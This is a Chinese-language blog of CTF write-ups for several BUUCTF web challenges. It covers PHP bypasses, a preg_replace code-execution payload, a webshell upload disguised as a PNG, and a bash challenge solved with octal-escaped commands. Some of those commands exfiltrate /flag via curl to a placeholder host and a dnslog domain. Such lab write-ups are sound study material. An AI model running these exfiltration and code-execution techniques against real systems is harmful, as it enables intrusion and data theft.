BUUCTF-感受真题
| 2023-7-15
0  |  Read Time 0 min

[MRCTF2020]Ez_bypass

PHP Version: 5.6.40

知识点

  • md5 碰撞 / md5 数组绕过
  • 添加非数字字符绕过 is_numeric

代码

做题

这些知识点在 CTFShow 上都运用过,第一步 md5 绕过,GET的参数可以有几种方式,具体方式可以查看参考资料 1
第二步考察对 is_numeric 的绕过。在之前提到过, 233 == 233fuck 是成立的,所以我们只需要在 1234567 后面随便加点东西就行了。

payload

参考资料

[BJDCTF2020]ZJCTF,不过如此

PHP Version: 5.6.40

知识点

  • php://input 传入
  • php 伪协议 php://filter

代码

做题

第一个 $text 的部分比较好解决,传入 text = file://input 然后传入post参数 I have a dream 即可
第二个提示了 next.php,我们尝试直接引入
notion image
似乎对题目没有什么帮助,我们直接写入 http:// 尝试引入外部链接也无效。
我们尝试使用 php 伪协议来读取其中有什么内容
payload:
解码后读到 next.php 的代码为
我原本以为可以用 $_SESSION['id'] 反序列化来请求 getFlag() ,想了想不对啊,也不是这么个事,参考了辅导书以后,发现可以使用preg_replace进行代码执行,原理是第二个参数可以当作代码来执行,preg_replace会把匹配到的字符传入第二个函数。
我们先来看看这段foreach的代码会发生什么
notion image
简而言之,左边的key变成了$re,value变成了$str。那么这个怎么利用呢,然后我又参考了参考资料2
简单来说,要传入左边 $re 使value被匹配到,并且被执行,就完成了任务。那么怎么传入自己的命令呢?然后我又参考了参考资料3
怎么在变量中执行代码,我们可以用这一行来试一下 $b = "{${phpinfo()}}";
notion image
notion image
可以看到,phpinfo() 被成功的执行。
当然,我们自己尝试传上去的参数是不会被执行的,不然这还得了。
懂得花括号内命令执行的原理,我们就可以尝试构造一个shell了。比如说,我们就直接调用题目中给的 getFlag();,也就是 {${getFlag()}}
下一步就是正则匹配了,为了匹配全部我们可以用 .*,但其实没有必要,我们直接用和value一样的 {${getFlag()}} 就可以了,$和()用 \ 来转义一下。
最后一句话木马搞定,拿蚁剑连接即可,flag 在根目录下。
payload:

参考资料

深入研究preg_replace与代码执行 | Mochazz's blog
本文将深入研究 preg_replace /e 模式下的代码执行问题,其中包括 preg_replace 函数的执行过程分析、正则表达式分析、漏洞触发分析,当中的坑非常多,相信看完本文,你一定会有所收获。下面是 七月火 和 l1nk3r 的分析结果。 下面先看一个案例,思考如何利用此处的 preg_replace /e 模式,执行代码(可以先不看下文分析,自己思考出 payload 试试)。 这个案例实际上很简单,就是 preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 'strtolower("\\1")' 字符串,那这样要如何执行代码呢? 上面的命令执行,相当于 eval('strtolower("\\1");') 结果,当中的 \\1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述: 反向引用 对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中
深入研究preg_replace与代码执行 | Mochazz's blog
PHP: 可变变量 - Manual
有时候使用可变变量名是很方便的。就是说,一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置,例如: 一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如: 这时,两个变量都被定义了:$a 的内容是"hello"并且$hello 的内容是"world"。因此,以下语句: 与以下语句输出完全相同的结果: 它们都会输出:hello world。 要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时,解析器需要知道是想要$a[1] 作为一个变量呢,还是想要$$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用${$a[1]},对第二种情况用${$a}[1] 。 类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于$foo 的属性名。对于 $bar 是数组单元时也是一样。 也可使用花括号来给属性名清晰定界。最有用是在属性位于数组中,或者属性名包含有多个部分或者属性名包含有非法字符时(例如来自 json_decode() 或 SimpleXML )。 警告 注意,在 PHP 的函数和类的方法中, 超全局变量不能用作可变变量。$this 变量也是一个特殊变量,不能被动态引用。
PHP: 可变变量 - Manual

[LineCTF2022]BB 1

代码

思路

知识点:
  • 环境变量设置
  • 参数提交数组
  • 利用 BASH_ENV 进行渗透(hint: bash -c)
  • 利用 alias 设置命令
  • bash 八进制转义
  • curl弹shell

错误思路

一开始的思路是,bash -c ‘imdude’,所以我要找imdude所在目录,所以我要通过环境变量设置。显然我们并不知道imdude在哪里有,我们也不知道在哪里能写入它。
第二步的思路是,因为它拦截了等号,也在第二个参数拦截了字母,所以在第一个参数想着绕过putenv,比如在后面插等号什么的
第三步的思路是,用BASH_ENV是可以插通配符的,所以直接插 /* 就完事了

正确思路

看到 bash -c ,立刻想到有 BASH_ENV 。利用在bash -c前均会执行 BASH_ENV 内的文件内容的性质,拿到flag(一般来说这个默认是 /etc/profile)。
看到 preg,应该想到怎么绕过,使用 bash 转义字符,将它们全部转为八进制的 \xxx 这样形式的字符。
然后还要注意分开空格这类字符,避免被当成完整的路径

做题

先想办法使env参数可以传入为 kv 的形式,这里需要在get参数传入字符串
将env[x]参数设置为xxx的方式,即可使 $k=x, $v=xxx
然后因为下面是BASH_ENV,所以我们要设置的就是BASH_ENV,并且因为正则表达式的原因,我们还不能在这里传入带字母的(包括大小写,那怎么办呢)

踩坑1-转义带空格

使用BASH的转义就好了。
比如需要将 /flag 转义成 bash 能读懂的八进制,那就运行下面的函数
它会输出 \057\146\154\141\147, 拼接一下 $’’ 使其成为 echo $’\057\146\154\141\147’ ,它就可以输出 /flag
但是这里有个坑点,如果你把空格也包进去了,根据bash的特性,它会将引号内的内容看作是一个完整的程序(?),这也容易理解,比如如果你的路径带空格的话,可以使用类似 “/Users/Guo guo/Downloads” 来获得你的完整路径,但是bash又不知道你想执行的到底是 /User/Guo 还是 /Users/Guo guo/Downloads,既然这里没有限制空格,我们就可以把它分开。

踩坑2-目录不可写

下载 Dockerfile 后,发现flag藏在 /flag ,我的想法是将 /flag 直接cp到 /var/www/html 不就好了嘛~
于是逐个写下命令,最终的命令是
$($'\143\160' $'\057\146\154\141\147' $'\057\166\141\162\057\167\167\167\057\150\164\155\154\057\146\154\141\147')
然后丢上去执行,发现,诶我草,404
同时也尝试了 rm index.php 也不行,于是考虑到,可能是权限问题。

最终出路-方法1-curl将flag弹到自己服务器

最终研究Dockerfile的时候,发现上面有一个 apt install curl,这一定是作者给我们留下的提示嘻嘻嘻
于是找一台服务器 nc -lvvp 2334 走起,直接将flag弹到自己的服务器上,这里使用 curl xxx/$(cat /flag)的方法,最终拿到了flag
先起一台服务器,假设服务器域名/IP是xxx.com
$($'\143\165\162\154' $'\150\164\164\160\072\057\057\170\170\170\056\143\157\155\072\062\063\063\064'/$($'\143\141\164' $'\057\146\154\141\147')
(这个命令的意思是 curl http://xxx.com:2334/$(cat /flag),所以这样就可以接到flag啦)
最终接受到的请求是这样的
好咧,{}因为没转义的原因被bash吃掉了,自己拼装一下,提交,flag正确~

最终出路-方法2-使用dnslog

原理和上面的一样,只不过不需要自己的服务器了。
去dnslog.cn领一个域名,然后用 curl $(cat /flag).xxxxxx.dnslog.cn 的方法拿到
这里给出一个示例
$($'\143\165\162\154' $($'\143\141\164' $'\057\146\154\141\147').$'\067\157\156\150\166\152\056\144\156\163\154\157\147\056\143\156')
notion image

参考资料

Phuck2(未完成)

服务器信息:无

源码

思路

  • dirsearch,发现一个 users/ 目录,有一个列目录,但好像没什么软用
  • 也没有暴露其他服务器信息,整得我一头雾水
  • (writeup1)escapeshellarg 能否绕过?
  • (writeup1)profile 能否在下面重新引用?
  • (writeup2)怎么实现file_get_contents的内容和include的内容不一样?

知识点

  • allow_url_include=Off 时,file_get_contents 在处理 data:xxx 时会取xxx这个字符串,include则会读文件名为data:xxx的文件

可控参数

  • $_SERVER['HTTP_X_FORWARDED_FOR']
  • $_GET['page']

做题

既然没有任何信息,那我就……
开摆,看writeup。。(第一次查看Writeup)
不是,这题不看writeup做个锤子噢,dirsearch扫半天就扫到一个 users/ ,还有知道是个php,搞得我半天都在这里对着这个 index.php 输出
可以看到,这里在第一行禁止了 php 流,就防止了使用 php://input 这种路径。同时,定义了 $mkdir 函数,但是有一个 escapeshellarg,使其怎样都会被转义成一个参数,没办法使用’;之类的方式逃脱。
所以重点就来到了这个 file_put_contents 头上,这个一定是个重要角色,同时是重要角色的还有下面的include,但是有一个 file_get_contents 过滤,怎么办呢?
第一个思路就是使用 data:// ,其实一开始我也想到了hhh,但是比较难绷的是我没想到include可以利用data流直接include文件,所以第一个思路很快就被我排除了
第二个思路就是使用外部连接,我可以使前两次返回的内容不包含 <? 和 php,而到最后一次我再返回一个shell。想法很美好,但是……它不出网(
已知可控参数必然有重要作用,我们也要include到这个文件,还要躲避 file_get_contents 的追捕。直接include profile不行,因为其中必然会有一个 [SCRIPT_NAME] => /index.php 拦掉。
没头绪了,好怪哦,再看看(第二次查看Writeup)
然后才知道知识点1
但是在自己的服务器上跑不动,不知道为啥,测试代码如下

偷看Writeup

  • 开始做题没有任何思路,所以偷看writeup,发现大家都知道怎么拿到源码了,这个不看writeup怎么想??在url后面追加一个 ?hl 就可以看到源码了

参考资料

[CISCN2021 Quals]upload1(未完成)

代码

要点

  • 包含PHP的img图片
    • 通过Python脚本创建(但原理是啥)
  • 图片长宽要均1
    • 通过define设置width和length来绕过
  • 设置get参数ctf为upload,同时将文件放到postedFile上
  • 文件名不能包含c,i,h,ph
    • 用土耳其字母 İ 绕过i的判断
    • 如果php有其他字母能实现也行,可惜没找到

思路

  • stristr绕过(通过回车符%0a绕过),但是无法绕过单字母

卡死点

  • 不知道 example.php 的存在
    • 解决方法:开扫描(?)
  • 遇到上传文件时验证图片的不知道怎么办
  • 不知道怎么绕过png二次渲染保存php文件
  • PNG-IDAT-Payload-Generator 的原理到底是什么????
  • 遇到字母匹配的时候不知道怎么办
  • 不知道土耳其字母 İ 的存在(İ在经过 mb_strtolower 后会变成i)

过程

在了解到了example.php和index.php这两个文件后,首先的突破口应该是index.php,因为example只能用来获取本地的文件,还得是zip格式的文件用于解压缩,所以首先得将压缩了php木马的文件绕过像素检查,然后使压缩包能够上传,还得将解压后的php文件伪装成图片突破二次渲染。
然后这个 PNG-IDAT-Payload-Generator 对我来说暂时就是黑盒了,在我还没深究的时候,我还没理解这里的思路,为什么payload要用那串东西,啊点一下它就完成了?我干了啥.jpg?但是我们可以通过查看其代码(参考文档3)来了解其原理。
根据index.php的条件,首先有四个要素,就是文件不能太大、文件必须让PHP的getimagesize获得长宽比信息、文件名不能包含c/i/h (大小写都不行),同时上传的文件会被放在 image 文件夹
然后执行
notion image
然后将文件名重命名为1.php并打包,然后在zip注释加入
简单隐写合并(不合并也行,直接在post的时候修改下面的内容)
notion image
在提交时,将i改为%c4%b0,注意提交方式为post,然后发现文件被放在了 image/sb.zip
再根据 example.php 的内容,提交参数ctf为poc,file为../image/sb.zip (因为它在example目录,要上一级解压)
notion image
解压后的文件在 example/shell.php,传入,找到文件在 /etc/fllagggaaaa/ejklwfthreu8rt/fgrtgergyer/ergerhrtytrh/rtehtrhytryhre/gfhtryrtgrewfre34t/t43ft34f/flag11e3kerjh3u
notion image
 

参考文档

 
  • GitTalk
Catalog